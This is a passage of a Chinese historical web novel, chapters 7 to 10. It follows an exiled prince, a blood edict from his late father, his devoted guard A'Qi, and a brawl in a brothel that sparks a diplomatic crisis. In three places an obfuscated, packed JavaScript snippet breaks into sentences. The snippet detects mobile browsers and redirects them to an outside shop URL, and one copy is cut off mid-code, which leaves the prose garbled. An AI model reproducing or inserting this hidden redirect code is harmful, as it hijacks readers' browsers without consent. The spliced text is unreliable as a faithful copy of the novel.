阿七摇头:“并未,元琤掌控朝政后,宫禁卫尉卿换成裴彦,原卫尉卿崔久安被调到负责京畿安防的羽林卫,莫说王宫内外,就是大内与外廷,信息传递也早已被切断。” “娘娘她了解您,于是每夜子时五刻便会醒来,在窗前守候。” “娘娘为这一刻,等了三年,只为传出那份名单,她说您看到就懂了。” 景和宫所有纸笔都被收走,在那个夜晚,冯姮撕下中衣,以螺子黛、胭脂等为墨,折了截树枝当做笔,一笔一画描出那份名单。 临走时,冯姮用仅剩的右手紧紧攥住阿七,眼含热泪:“孩子,辛苦你冒这么大的险,我们也是没法子……阿旻他性情冷僻,若对你们照拂得不周全,娘替他赔个不是,莫要放在心上。” 阿七全身一暖、心潮起伏,噗通一声跪在冯姮膝下:“娘娘待阿七如己出,四殿下更是从小到大对阿七无微不至。士为知己者死,能为他出生入死,是阿七毕生之幸。” 7. 至高至明日月 那份名单被阿七用层层油纸包好,揣在胸口最贴身的地方,绕过王宫重重护卫、大翊境内层层耳目,翻过戎陵山密林,从栎东白水的水底泅渡,最终递到元旻手中。 元旻垂手,无声攥紧另一份陈旧的布帛,那绢帛边缘并不整齐,像是从某件外袍撕下一块。已陈旧的血凝固得发黄,歪歪斜斜写着字,很仓促、字体很熟悉——昭王的诏书。 血诏最后落款是:征和二十年八月十七诏。那正是昭王崩逝的时间。 血诏之下,已有了第一个签名——中宫冯姮。 这是前些天,元璟藏在袖中带给他的。 三年前,元旻失踪的消息传来,元璟夙夜奔赴千里,亲去上阳、临梁寻找。 半个月后,举国皆知元旻已入荣国为质,他却总坚信此事另有秘辛。他在宫廷阴谋与政治角力中长大,晓得这里头水有多深。 东寻西觅,先是从死人堆里救回了重伤的武家长子武燊,又从山户家中找到隐姓埋名的武家五子武焕,断断续续听二人叙述了那夜变故,证实了他部分猜测,于是更加执拗地寻找、近乎癫狂。 自然没找到。 一日深夜,睡梦中的他被一队武士围困,那首领并不缠斗,只出示冯太后令符,不由分说将他捆回昇阳,丢回居所桐花别苑。 从此,对外他被“突发疯病”了,桐花别苑也被守得铁桶般,连只苍蝇都飞不出去。 在桐花别苑被拘了两年多后,一个黄昏,元璟突然被宣召进宫。 元琤遣他出访荣国道贺,那煌煌灯树照得王座上的人面目诡谲,王座后的帘子无风自动,幽光闪烁,绰约映出帘后冠袍繁复、端坐如泥塑木偶的冯太后。 木然领旨后退出殿门,西边残阳如血,照得他头晕目眩,晃了晃身子险些栽倒。一头撞上进殿奉茶的小黄门,被热腾腾的茶水泼了一身。 元琤颇为不悦,命人带他去偏殿更衣。 为他更衣的女官,从头到尾一言未发,却在替他理好环佩上最后一绺流苏时,飞快捏了下衣袍的左袖,抬眸看了他一眼,微微颔首。 他若无其事回到桐花别苑,回了书房,寻个借口屏退所有仆从。 然后,褪下外袍,小心翼翼裁开左袖那块较厚的内衬,一点点扯出暗旧的绢帛。 这娟帛经过静心计算,在恰当的时机被缝进常服,再“刚好”被元璟穿走,旋即随使团光明正大带进龙骨关、送进质子府,送到元旻手中。 元旻在书案下攥紧了两份绢帛,双手紧握成拳,微微颤抖。 . 春羽早已退下,书房内只剩阿七和元旻。 静了不知多久,元旻平复了下来,抬眸看向她,温声说:“这么冷,还不回去么?顺道去快雪阁带个话,九叔若回来了,请他过来一趟。” 阿七酝酿许久,艰难开口:“还有一事卑职也查清了,先王临终前确曾出过宫,他去的地方是……去的地方是……” “是桐花别苑”,元璟的声音从房外远远传来,“阿旻,先王临终前在宫外见的最后一个人,应该是我。” “九叔可否告知,父王去桐花别苑,所为何事?” “不过找我喝酒,谈了些陈年旧事,他、崔师姐还有我,很久以前的事”,元璟喟然长叹,眼神哀伤,“崔师姐是在中秋那天过世的,薨于浮玉宫,她服了鸩毒。” “呵,崔夫人么?”元旻突然笑出声来,唇角笑意讥诮而苦涩,“活着的时候如胶似漆,幽禁了日思夜念,过世了便随她去了,当真痴情。” 阿七被他突兀的刻薄惊到了,转瞬回过味来。昭王与崔夫人倒是“得成比目何辞死,只羡鸳鸯不羡仙”,那为他殚精竭虑善后的冯太后算什么,元旻这个嫡子又算什么? 她忽然想起幼时,景和宫庭院的梨花纷飞,芳华盛龄的冯姮就那样一夜夜守着偌大空殿,孤独地替昭王教养庶长子,生养元旻元晴兄妹。那位永远温婉平静的贵妇,是否也曾听着浮玉宫传来的笑声黯然神伤? 聪慧早熟、从未有过童年的元旻,是否也曾期待过父亲好好陪伴他一会儿,关怀他衣食喜好,陪他放风筝、看他舞剑、听他学琴? 元璟苦笑:“你不懂,有些时候,世事难两全。” 元旻坚决道:“若我无法一视同仁照拂周全,便学高祖太祖,终其一生只册王后,空置六宫。” 元璟满眼唏嘘:“你还是太年轻……今时不同往日,没有哪个国君有不纳妃嫔的自由,即使有,从别处付出的代价一定更大。” 元旻沉默了,抬眸看向窗外。 元璟声音柔和了些,眼中有泪光闪动:“阿旻,先王是很挂念你,那晚除了说那些陈年旧事,还给我了一块玉牌,让我寻个机会给你,说是你周岁便备下的……” “他求我以后多帮你,他是高高在上的王,却拉着我求我,他说‘阿旻还小,大哥求你帮帮这孩子,他太苦了,爹爹对不住他’。” “他来的那天是八月十七,八月十九早起昇阳就戒严了,直到八月二十一卯正,景阳钟才被敲响,三万下,大丧。” “以王嫂的智谋,先王如有不虞,她肯定给你传过信,甚至给元晞也传过,只是消息没传出去。” “所以,阿晞是从何处提前得知了消息,才能那么及时在灵前挡下元琤?” 大王子元晞,昭王镇守宣庆的外室子,生母不明,一直养在宣氏门下。征和元年,冯姮劝说先王,将已十一岁的元晞从朔宁府接入宫中,待之如亲生。 元晞成年成婚之后,领了宣庆府边户总都督之职,去翊国东北苦寒之地,与宣氏共同守护大翊与北宛之间那条长达一千七百里的边境线。 若以派系划分,元晞既是太后党,又与宣氏亲厚。夺位素来以密成,元琤不可能给元晞这个羽翼丰满的长子透一丝风。 除非宣氏提早就知有此变故。 至于宣氏为何提早知情,元晞为何还能率亲兵入王都,并不难揣测。 元琤起事定是勾连了宣氏,宣氏却阳奉阴违、生了异心:同样是王子,为何不能是我宣氏手中的长子继承大统,宣氏还能鸡犬升天。 于是前思后想,替元晞谋划出一个剑履上殿的机会。 元晞率亲兵入了灵前,却反身拔剑、挡在了冯姮身前。他不贪妄、不奢求,只是坚决挡在那,将血肉之躯当作嫡母的防护之盾。 “大哥啊大哥……”元旻吃吃笑起来,烛火跃动中能看到他眼中有泪光闪烁,“父王,父亲,爹爹……” 记忆里那高大健硕的青年男子,总是一身黑衣或是身披铁甲,带他去骑马打猎放风筝,总是从北疆捎回漂亮的狐裘、百年山参、上好东珠……恨不能将所有好东西都送回昇阳、每两三月就写信问安他们的大哥。 匀净的羊脂玉牌在烛火下闪着温润的光晕,元旻紧紧握住,伏在书案上痴痴看着,泪如雨下。 那块迟到了十八年的周岁礼上,刻着昭王元珙的亲笔的四行诗:人皆养子望聪明,我被聪明误一生。惟愿孩儿愚且鲁,无灾无难到公卿。 元璟早已离去,阿七默默站在书案前忙活。收拾散落的书简、纸张,分门别类叠好,放回书架上,又将书架上位置乱了的书册摆回原位。打来清水、洗干净笔尖和砚池里的墨,再从水中拧起丝帕,一丝不苟擦拭着书案、书架上的灰尘。 元旻十分爱整洁,衣食住行纤尘不染,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981217|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有物品都要恰到好处摆放在正确的位置。 但他从不让别人进他书房,一般是阿七替他整理,若阿七有事外出,他宁肯自己动手整理。 他每次心情不好的时候,都会召阿七在他眼前晃悠。不是想听安慰的话,他说,看到身边还有这么个可信之人,心里就踏实。 元旻看了半晌玉佩,忽然轻声道:“阿七,成为国君就必须有妃嫔吗?” 阿七思忖片刻,肯定地说:“国君不是平常男子,无论是为了宗庙传嗣、还是为国联姻、平衡各方势力,总该有几宫妃嫔的。” 元旻又问:“如果我有妃嫔,你还会这样对我吗?” 阿七手一顿,扯了扯唇角,挤出一个微笑:“无论殿下有多少妃嫔,卑职会一如既往追随您。” 元旻注视着她,神情有些疲惫:“是么?” 阿七躬身低头,声音轻柔而坚决:“殿下之于我,如至高至明之日月,从前是、现在是、以后也是,无论发生何事,阿七永不会背弃殿下。” 元旻眼神柔和了些,张了张嘴却什么都没说,只静静看着她收拾,许久才说:“晚上冷,别收拾了,回去歇息吧。” “只剩一点了。”阿七擦拭着书架,冷不防下腹又开始绞痛,眼前飞舞着无数金色小星。 她逐渐拿不动手里的抹布,眼前阵阵发黑,膝盖一软晕了过去。 阿七这一晕,足足病了半个月。春羽并未延请大夫来问诊,只安排小厨房煎药、煨炖补品。 药膳和补品流水般地送进来,起初阿七喝了吐、吐了再喝新的,留在腹中的十不存一,后来脾胃渐开,也吃得下一些了。 又是一日,春羽亲自端了金丝燕盏甜枣羹进来,看着她喝下去,饮茶漱口了才开口询问。 问的第一句话就差点让她喷出茶水。 “姑娘月信可准?” 阿七忙四下张望,确认周围再无外人。 春羽压低声音:“除了娘娘、小殿下、奴婢,没有另外的人知道了,姑娘且宽心。” 阿七来了葵水后,月信一直很乱,短的话两三月来一次,长的话半年才来一次,每次均下腹如刀搅、体虚头晕、痛不欲生。终于有个女人知道她的苦楚,她感动得热泪盈眶。 春羽又道:“听闻姑娘出去办差时,经常泅冷水,翻高山、过雪岭,月信来时是否也如此?” 那是自然,令行禁止,一刻也拖延不得。 “如此劳碌奔波、又多受大寒,姑娘的身子怕是伤了,还好时间不久,姑娘还年轻,调养些时日会好的”,春羽关切道,“四殿下已知晓,允了姑娘赋闲休养,特安排奴婢来此照料。” 阿七有些心焦,元旻的布局已到了紧要关节,她和飞廉若在此时掉链子可怎么好。 “姑娘还是少操些心吧”,春羽劝慰,“女子本就比男子气血虚弱,若不早些调理好,且莫说成婚后难以生养,就是自身上了岁数也会虚弱多病、苦楚难当,甚至会影响寿数。” 听她说得严重,阿七才稍微正视了些。就在此时窗外有人辞行,开门迎进来,是天枢和玉衡。元旻遣天枢去朔宁送信,又遣玉衡回到昇阳潜伏待命。 “还未单独出过这样重要的任务,殿下允了我们提早出发,因怕出差池,特来向首领商讨一番。”天枢是飞廉中年龄最长,行事最稳妥的人。 玉衡附和道:“上次跟首领去昇阳险些出了岔子,劳烦首领再指点指点。”他是飞廉中最机敏、脑子最快的一个。 三人正说到兴处,守在外面的春羽忽朗声请安:“襄侯、武七娘子万安!” 天枢玉衡忙翻上房梁避让,却见元璟领着臊眉耷眼的武灿走了进来。 8. 祸起萧墙 “阿七,你到底怎样了?”武灿嘴一扁,快要哭出来,“六哥说你生了重病,他们都不让我来看你,到底是什么病啊…” 阿七忙笑道:“不过前些日子受伤又受了风寒,肺有些不妥……咳咳……” 武灿正要说什么,元璟淡淡开口:“看也看了,该回去收拾东西了,你这些日子逛街买的那些东西够拉上一车吧。” 武灿撅嘴,眼泪汪汪站起来,走到门口忽然折返,紧紧抱住她:“阿七,你还会回昇阳吗,我还能再见到你吗?” 阿七、春羽:“……” 元璟柔声劝慰道:“阿七也是怕给你过了病气,先随我回去吧,下次来灵昌我尽量带你。” 武灿恋恋不舍分开,泪眼朦胧:“阿七,你一定要好好吃药,早点好起来,过段时日我再来看你……” 看着武灿走远,元璟无奈摇了摇头,笑道:“一晃你也长得这样大了,都有姑娘追着喜欢了。” 元璟是个放浪不羁的性子,虽说与她是师徒,在她面前却一直吊儿郎当,此刻突然正经起来,眼中的温柔慈爱看得她鸡皮疙瘩掉一地,不知如何应对。 还好元璟健谈:“我们明天就要走了,你好生保重,为师一直有个心愿,不知你能否满足?” 阿七赶紧恭声道:“师父请说。” 元璟温声道:“为师已过而立,尚未婚配,看着侄儿们一个个长大,未免感怀膝下空虚。你可愿做我儿子,我定会想法子替你上宗谱玉牒,对你视如己出,百年之后你替我养老送终,如何?” 阿七眼前一黑,险些跌倒。默了半晌道:“一日为师终身为父,弟子事师,敬同于父。徒儿就算不上宗谱玉牒,也会替你养老送终的。” 元璟尴尬地问:“当我儿子是什么丢人的事吗?” 阿七酝酿半晌,委婉地说:“徒儿是兴庆宫的人,一切听从四殿下安排。” 元璟白皙的面颊涨红,恼怒地盯着她,视线忽然下移,定格到她脖子上,神色一滞。 他眼神专注,死死盯着她脖子,又反反复复上下打量她多次,神情越来越冷肃。就在阿七被他看得浑身发毛,即将膝盖一软跪下时,他冷哼一声,起身拂袖而去。 . “九叔年华正好,若此时成婚,过不了几年就儿孙满堂了。”元旻眼也不抬,对照着冯姮传出的名单增增减减,往另一张素白罗纸上誊抄。 果然拒绝了。 元璟叹了口气,转头望向窗外庭中小池。簌簌秋雨飘落,似密密匝匝的丝线交织在夜色中,铺天盖地像一张大网,滴落波面漾起水花,很快便积满池子。 元旻听他不说话了,有些诧异顺着他目光看去:“九叔也喜欢听雨?” 元璟摇头,目光寥远,似看向另一个时空:“只是喜欢一首写雨的七绝。” “君问归期未有期,巴山夜雨涨秋池。何当共剪西窗烛,却话巴山夜雨时。” 人跟人的缘法,当真妙不可言。元璟比昭王小十几岁,昭王待他名为兄长、实如父亲,他自小聪慧才高,却体弱多病、又不爱仕途经济,昭王便许他虚衔高禄,纵情山水。 元旻启蒙后,昭王看他满腹才华却闲出花,想让他也教教这个侄儿,他却推脱说元旻从小课业太重、事情太多,毫无孩童心性,不该多个师父增加负担,该趁着青春年少、多游弋玩乐。 就这样过了几年,他进宫请安,却一眼看上养在兴庆宫的阿七,激动得午饭都没吃就向冯姮讨要收到门下。 元璟是被昭王踹出去的,还被停俸一年。 幸有冯姮说和,拜师收徒是成了,却好景不长。在元珙的明示暗示下,冯姮、崔夫人开始为他安排络绎不绝的诗会、茶会、赏花会、马球会,所有望族、新贵家庭的未婚佳人、新寡少妇都有幸受邀。 被这眼花缭乱的相亲流水席摧残了两个月,某月黑风高夜,元璟收拾衣物细软,留信一封,连夜溜之大吉。 那以后的几年,大翊各地都流传有元璟的绯闻,却一个也不曾落到实处,他简直百花丛中过片叶不沾身,就这般吊儿郎当玩乐到三十多岁。 元璟闲坐无聊,忽想起一事,道:“此去道贺,永兴王有意替你撮合一桩姻缘。” 元旻写字的手一顿,而后淡淡道:“哦。” 元璟盯着他:“是高王后的亲妹,闺名似乎是舒月?” 元旻头也不抬:“高家二娘子?娶。” 元璟两眼在他身上探寻一番,饶有兴味:“认识?喜欢?” 元旻已写好名单,取了镇纸在另一侧压好:“没见过,不认识。” 元璟失笑:“那也不关心品貌如何?” 元旻抬眸,心平气和地反问:“我有得选?不是无论如何都得娶么?” 元璟揶揄:“前些日子谁说过的,若不能如何便如何如何,你这是要一生一世一双人,还是想一视同仁?” 见元旻神色黯然,他忙趁热打铁:“无论想一视同仁、还是一生一世一双人,该放的就放吧,世间的缘分不止夫妻,不如考虑考虑……” 元旻飞快回绝:“世间缘分也不止父女。” 元璟声音陡然高了几度,带几分怒气扬眉道:“世间的好男儿更不止你一个!” 元旻叹了口气,笑容淡下去,不作回应。 元璟看他如此,有些心疼,宽慰道:“先别丧气,永兴王只是提了提,还要回去同陛下、太后商议。” 元旻摇头,幽幽看向远方,目露嘲讽:“现在的那个陛下,一定乐见其成。” 他这眼中钉肉中刺放在荣国好几年,除又除不掉,若有家室牵绊,回国的希望又渺茫了些。毕竟,世上的女子,大都更想与夫婿白首不离,如齐女那般果断,能杀了采桑女、劝夫婿归国的奇女子,少之又少。 元璟愣住了,想明白后一时无话。 元旻却已装好名单,将血诏一并交予元璟,郑重屈膝跪地,稽首道:“有劳九叔,我先代君父、代大翊子民谢九叔力挽狂澜之恩。” 元璟肃然起身,站正还礼:“必不负重托!” 夜雨潇潇,血诏缓缓展开,是那位山陵将崩的王者临终前,对这个国家最后的托付: 诏曰:尊卑之殊,君臣至重,人伦之大,父兄为先。朕之次弟琤,父爱之、朕厚之,不念父兄之恩,阴怀不轨之心,实有欺罔之罪。连结党伍,欲行谋逆,敕赏封罚,皆非朕意。朕近日时感油尽灯枯,死不足惧,唯夙夜忧思,恐社稷将危。 卿乃朕之至亲,可念祖宗创业之艰难,纠合忠义两全之烈士,殄灭奸党,复安社稷。朕之第四子旻,中宫嫡出,生而颖悟,性甚坚毅,可堪托付社稷,卿奉迎正统,祖宗幸甚!书诏付卿,勿令有负!征和二十年八月十七诏。 元璟打伞走出数步,又折返,抱住侄子:“阿旻,莫要丧气,一切都会回归正道的。” 元旻身躯一僵,似不太适应被拥抱,却任由他抱着,柔声道:“侄儿知道了……九叔明日离京后,请快马加鞭,最好在半个月内离开荣国,切勿逗留,切记!” 元璟悚然一惊。 元旻看向幽幽雨夜,一字一字道:“天,要变了。” . 元璟离去时,只带走了武灿和大半使团,姜环奉元琤密令要稽留灵昌几日。元璟无可奈何,又想起元旻示警,立即配好鞍马,夜以继日地扬鞭策马北上而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981218|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他走之后的第三天晚上,发生了一件事。 灵昌城南群玉街有一家定位颇高的妓馆,名为“尽君欢”,姜环有几个属下久闻艳名,大队使团离开后便迫不及待要去消受一番。 那夜的“尽君欢”却已经被一群宗室子弟、高官和衙内包了场,本来只是鸨母在斡旋,宗室之中不知是谁高呼“那些羽民干涉我大荣内政也罢,连这风月雅事也要抢夺么?” 几名属下对自己大国来使的身份颇为自傲,回怼他们后,不管不顾便往里闯,宗室中忽又有人高呼“打人了,羽民打人了!” 一行喝得醉醺醺的纨绔子弟热血上头,捋袖揎拳便冲了上去,使臣多是文臣,哪见过如此暴烈场景,登时令扈从的侍卫拔了护身的配刀。 然后,一切都无可挽回…… 那夜,重伤无数,还闹出了人命,其中颇有分量的两位,一位是渝安郡公一脉单传的嫡亲孙子,一位身居要职——北城兵马司指挥使杨怀恩。 享乐狎妓是一回事,出了人命是另一回事。 姜环立即杀了几名闹事的属下,亲去王宫请罪,却正好撞见陈尸上殿的渝安郡公。 郡公见苻治语焉不详,有重拿轻放之嫌,激昂高呼:“如此卑微国体,如此卖国庸君,老身耻同与之为苻氏!”一头撞上旁侧香炉,血溅三尺、脑浆崩裂,就地气绝。 举国哗然。 安门前的空地上,每天都有贵族子弟在静坐,大街上每天都有人高呼“杀光荣国的所有羽民”,质子府前围满了人,往内丢石头、火把,甚至时不时射入几支冷箭。 元旻站在起云楼上,阿七侍立身后,巍然不动看着外面群情激愤。 苻洵就是在此时出现的,他骑一匹胭脂色烈马、身穿玄色软甲、腰束胭脂红锦带,将一柄长刀高高举起,叱令紧随其后的北城兵马司驱散闹事人群。 人群依然激愤,甚至有人高呼“卖国贼”拥到马前,将手里的石块掷向他。 苻洵静静看向吵嚷的人群,忽然抬眸一笑,而后长刀一挥而下。 血溅三尺。 人群里爆发出阵阵尖叫,推搡着朝外挤去,以苻洵骑乘的马匹为中心、散开大片空地。 苻洵半面染血,眉眼带笑注视着逃散的人群,扬声高呼:“本将已得陛下圣谕,聚众闹事者视同叛乱,杀无赦!” 而后,他抬起头直起上身、平举双手,对着起云楼的方向,遥遥躬身一拜。 . 十月初,元琤派人呈递国书,内容有二:责成交还羁押的翊臣姜环,敦促元旻与高舒月速结姻亲。 元旻这些日子应酬很少,终日在府中抚琴练字,武煊不知去了何处。在春羽的精心调理下,阿七的身子逐渐好了起来。 灵昌入冬以后,经常十天半月都阴沉沉的,某个难得的晴天,元旻来了兴致,让阿七随他去北郊骑马。 信马由缰穿过大小草地、河边晒太阳的人群,跨过锦水河,元旻鞭指前方,朗声长笑:“前面就是绵江,可敢与我比试一场?” 阿七心领神会,立即躬身抱拳:“恭敬不如从命!” 二人纵马扬鞭,风驰电掣。抵达绵江之后,元旻却并未减速,旋即调偏马头往西、进入密林,顺一个平缓的坡道往上,看到前方有竹林,石亭中坐着一人。 那是一位着青色长衫的文士,三十多岁,面白微须,姿貌甚伟,举手投足颇有书卷气,只是眉心有三道极深的川字纹,显然时常剑眉深锁。看到策马而来的二人,忙起身相迎,躬身道:“四殿下万安。” 元旻下马长揖:“有劳景先生奔波。” 那文士正是陪都金阙的刺史——景樊。 9. 还君明珠 景樊待二人坐下,便关切道:“殿下此时前来,是那件冤案平反的时机到了么?” 元旻瞥向坐在侧边替他们斟茶的阿七,唇角弯了弯,转向景樊道:“如今两国交好,景大人自可向陛下提出为当年的直谏案平反。” 景樊眼中精光乍现,有些怒意:“妓馆凶案发展到现在,陛下仍暴力镇压,以至于民众道路以目。当年国力空虚,先王非要穷兵黩武大举北伐,家父虽犯颜直谏,却不是为了附和陛下趋附卖国!” 元旻轻笑:“国之邦交,不是交好便是交恶,还有第三条路么?” 景樊将手中茶杯重重放上石桌,哐当一声茶水飞溅:“交好并非趋附,贵国以威势逼压我王,非邦交之道。为何不能如北宛与大翊那般,平等互市?” 元旻道:“只因贵邦国贫民弱,谈何平等?” 景樊大怒:“昔我戎部虽蜗居凤台一带,尚能威武不屈,如今已得戎陵以南沃野三百万顷,若治理得当,即便是贵国百万雄兵,也有一战之力。” 元旻凉凉道:“是啊,若治理得当。” 景樊的怒气瞬间泄了,黯然道:“国主贤明,君臣同心,方能治理得当,可怜我荣国,朝内奸佞当道,就连邦交大事也如此反复无常,一朝天子一朝臣,简直……简直……” 元旻悠悠接口:“简直……望之不似人君。” 景樊一震,挺胸坐直,冷肃道:“你待如何?” 元旻笑容平和,坐得八风不动:“先生今日可以替父翻案,明日也可为更多的人翻案,但是这样的朝廷,先生当真愿意呆在这蝇营狗苟的朝廷?” “君恶闻其过,则忠化为佞;君乐闻直言,则佞化为忠。先生可知我意?” 景樊悚然睁大双瞳,惊恐道:“殿下对下官有大恩,今日之言下官绝不告发,还请殿下莫再提起。” 元旻笑得更悠闲:“举国皆知我与贵国王上即将结成连襟,先生且告发试试?” 景樊尚自震悚,元旻已悠悠起身道:“是非曲直先生自有定夺,晚辈告辞!” 转身走出数步,忽折返,从袖中取出一个木盒递过去道:“对了,有位朋友托我带给先生的,似是故人。” 元旻与阿七已策马远去,景樊仍僵坐亭中看着远方出神,他身边站着名中年人,两撇山羊胡、青衣布袍——相术师。 “看清了吗?” “看清了。” 景樊又低头,盯着眼前两样物事。 檀木盒上描绘的一双云中雨燕已金粉剥脱,纯白丝缎内衬上,一对南珠光泽柔润。 而在石桌上,用茶水写成的那个字,逐渐干涸——“沣”。 . 荣国王城为灵昌,最富庶繁华的却是居于东南部的渝安郡。 渝安坐拥大渡口、阜门峡天险,其首府珪山更是车水马龙、川流不息。集四海之珍奇、会寰区之异味,茶坊、酒肆、点心铺、胭脂铺、罗绮、金翠,热闹非凡,满街绣户珠帘、红袖招摇。 元旻穿着一身毫无纹绣的白狐裘,腰系金线玉带,佩戴苻治赐的螭纹玉佩,信步流连于各布庄、胭脂铺、首饰铺、珍宝坊,阿七穿着浅紫色轻裘,落后他半步、紧随其后。 因二人容貌姣好,衣饰华贵,路人频频回首。 阿七有些忐忑:“殿下,咱们都出来了,质子府可就没人了……” 元旻好整以暇:“无妨,早已报备永兴王,再过两月就要去高相家送聘,总要出来采买些好东西。” 他说得轻松,阿七却黯然,心头五味陈杂。 元旻转过身来,注视着她双目,温声道:“有话不妨直说。” 见阿七低头沉默,又说:“我一直以为,我们之间是知无不言、言无不尽的,不会对彼此有所隐瞒。” 是应当如此,却也不是什么都能说的,比如…… 阿七默默在心里叹息,沉思半晌后,岔开话题问道:“这些日子殿下行事都带着卑职,有何事需要相助?” 元旻松了口气,展颜微笑:“不必,只需多看多听,留心如何迎送交际便可。” 阿七会意,眼睛亮了几分:“多谢殿下替卑职打算,卑职一定学会这些应酬交际,新朝入仕为官绝不负爱重。” 元旻深深看着她:“你喜欢入仕?” “卑职眼下也说不准,总要试过才知晓,但无论如何总是新的……”她觑到元旻脸色,赶紧收住话头,“卑职承诺殿下的永不会变,只是换一个身份,既能辅佐您、又不负凌云之志,两全其美。” 元旻轻笑一声,不再言语,转过身继续往前走去。 . 珪山酒楼颇多,且多是三、四层的高大楼宇,虽名称各异,渝安人却都知道城中四分之一的酒楼产业全部姓兰,掌控这偌大家业的是一位中年美妇,人称兰夫人。 兰夫人祖籍灵昌,商户之女,十八年前嫁与珪山兰家长房长子,育有一子秉奕,夫君在族中很是干练。 然天妒英才,兰秉奕尚在襁褓,其父便撒手人寰。尸骨未寒,族中各房男丁已将长房团团围住,各种编排不胜枚举,要将孤儿寡母扫地出门、瓜分偌大家业。 然而过了不久,其他各房惹上官司的蹲了大牢,逛窑子的发了马上风,嗜酒的栽进了河渠,嗜赌的被人做了局倾家荡产。 城中对兰夫人的流言更甚,却再无人敢招惹她,兰夫人本就出自商贾之家,颇有头脑,经营十几年,将原有家业扩充三倍不止。 桃源酒楼位于城西,背靠珪山,阿七带元旻径直穿过前堂,绕过后院假山,右转是一面粉墙,墙下栽了一排山茶花。每株高逾六尺,只有地面以上二尺是树干,上部枝繁叶茂、玛瑙红的花瓣层层叠叠挤在肥厚油绿的叶间,每株便是个巨大的花球。 阿七走到第三株山茶花前,闪身挤入花球与粉壁之间的空隙,在墙壁上按一定顺序按了六下。 墙面上忽然凹进隔门大小的一块,凹进的那块与墙面形成两条可容一人侧身通过的缝隙,阿七往里看了几眼,抬足跨了进去。 元旻在外静静看阿七操作,直到看她东张西望后侧身走进去,忍俊不禁,也跟着走了进去。 行了数十步,通道往下,又走了两刻钟才见光,空气却愈发浑浊,带着沉闷的土腥气,阿七解释道:“我们在珪山山腹内。” 前方已有一年轻男子提灯趋步迎来,单膝跪下拜道:“见过殿下,见过首领。” 阿七问:“天权,兰夫人可到了?” 天权回:“兰夫人已携子等候多时。” 天权带他们又走过了一条长长的、往上的台阶,随着头顶石块挪开,清新空气乍然涌入。元旻走出甬道,发现自己身处一间猎屋,猎屋地处珪山山腰的一处深凹,周围皆是高大乔木,遮天蔽日。 “渝安云飞燕,拜见殿下,拜见七公子。”中年美妇一身绫罗、也不介意地面脏污,倒头便拜。 云飞燕身后跟着一名十四五岁的少年,见此情状也跟着稽首跪拜,正是其子兰秉奕。 阿七解说道:“珪山酒楼茶肆繁多,客商往来信息密集,卑职便安排天权在此驻点,并安插耳目扮作伙计,分散在城中多处酒楼。兰夫人为此事操劳颇多,还在山中建了一座仓库供我们物资中转。” “何止这些,云夫人十多年经营所得尽数投给本宫招兵买马,听说还为此债台高筑,可谓孤注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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知君用心如日月,事夫誓拟同生死。还君明珠双泪垂,恨不相逢未嫁时。 十年后,一名叫景樊的书生崭露头角。又过了六年,景樊已成为一州刺史。 她有一次携子归宁,途径金阙,被恭恭敬敬请入刺史府,那人身形已变、容颜已衰,却仍用熟悉的语调,颤声唤她:“燕燕。” 十几年的光阴隔在他们中间,一去不返。 徒羡梁上双飞燕,不许人间共白头。 云秉奕看着一行人消失在甬道后,恻然道:“母亲何必如此自苦?” 云飞燕叹了口气,笑道:“奕儿,你记住,一辈子只能往前看,有些事过了就是过了,就算因一点痴念找回,也早已面目全非。” 当年,夫婿亡故、幼子嗷嗷待哺、娘家无兄弟支撑,夫族如狼似虎。那段最黑暗的日子里,她甚至想过抱着幼子从高楼跳下,一了百了。 在那个被恐惧焦虑灼得无法入眠的夜晚,房间里突然出现一个玄衣男子,风帽遮住他大半张脸,只看得见煞白的下颌肌肤、毫无血色的嘴唇,那人悄无声息地坐下,毫无起伏的声音、包含着无法抗拒的蛊惑:“交易么?” “我帮你扫除障碍,扶持你在兰家站稳脚跟,甚至可以做得更多,而你…”,那人似乎笑了笑,“待你家业稳固,我自有安排,你只需记住,手持此玄色凰羽者,便是你未来的主上。” 前有豺狼、后有秃鹫,已入穷巷,不如放手一搏。于是她眼一闭,心一横道:“我答应你的交易。” 相安无事过了十几年,家业逐渐壮大,那个肌肤煞白的男子却再也未出现过,有时她甚至觉得,那是自己在绝境中产生的幻觉。 直到两年前,一名面目俊朗的少年再次出现在当年同一个地方,拿出一枚玄色凰羽,沉声道:“夫人可还记得昔日盟约?” 10. 渡人自渡 从桃源酒楼出来,元旻一直沉默不语,神色有些落寞。 阿七只当他对珪山的布局有不满,又不敢问,只得远远跟着。二人驱马一前一后往东南走了约六十里,视野骤然开阔,已抵达渝安大渡口。 只见江天一色,长流川自西向东奔流不息,江边星罗棋布泊着的不计其数的货船、客船。 见此寥远美景,元旻心情似乎好了些,遥指江面临近岸边的一串楼船:“此处客商云集,玩乐之处也颇多,不妨借此良夜、消遣片刻。” 暮色渐起,江边楼船挂上了灯笼,星空之下,灯笼倒映水中,与河岸上万家灯火交相辉映。 